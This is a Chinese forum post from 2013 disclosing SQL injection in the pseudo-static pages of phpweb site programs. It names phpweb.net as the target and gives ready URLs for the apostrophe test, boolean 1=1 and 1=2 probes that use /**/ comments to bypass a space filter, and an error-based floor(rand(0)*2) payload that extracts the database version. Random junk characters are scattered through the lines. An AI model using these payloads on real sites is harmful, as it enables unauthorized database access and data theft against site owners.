phpweb所有的整站程序伪静态页面都存在sql注入+ [: i0 R/ w1 r6 L* s1 t5 S
Z! e+ a" J' j6 l8 C主站：http://phpweb.net/- w% d1 A; z/ h2 c% O
加’检测：
% e+ H( O, \; ^! Z! u2 _ ~# J) P- j 9 `: ^. ]0 f. J7 ^7 e" l2 h1 d5 n
http://www.phpweb.net/down/html/?772′.html5 V& ~$ @. h5 d# {
+ j0 k/ l( E: | ?* G
出错
. D) u+ `0 T, o6 h8 P1 a存在注入。
5 y3 C5 w/ _7 i不能用空格，只能用/*罗0 j- d l: \* m, Z0 C8 C
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常8 U7 {' V* Q( r" E/ G8 Q7 H
% l/ I/ y9 x/ t
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.( F% |; m2 `* k( V c
爆数据库版本：9 _) R+ w. Z9 |1 e2 ?* n
3 A# l5 o" V* Y" H* j?
$ D) k6 E& A; I2 z1 x( R9 D1
6 ^7 h0 `: b% `) z1 ehttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
1 R4 A. o4 D. S. k, n更新日期: 2013-01-03 13:39:50 ' Z0 M1 A( W: g4 W; ]( `. d3 T
|
发表于 2013-1-4 19:46:42
收藏
支持
反对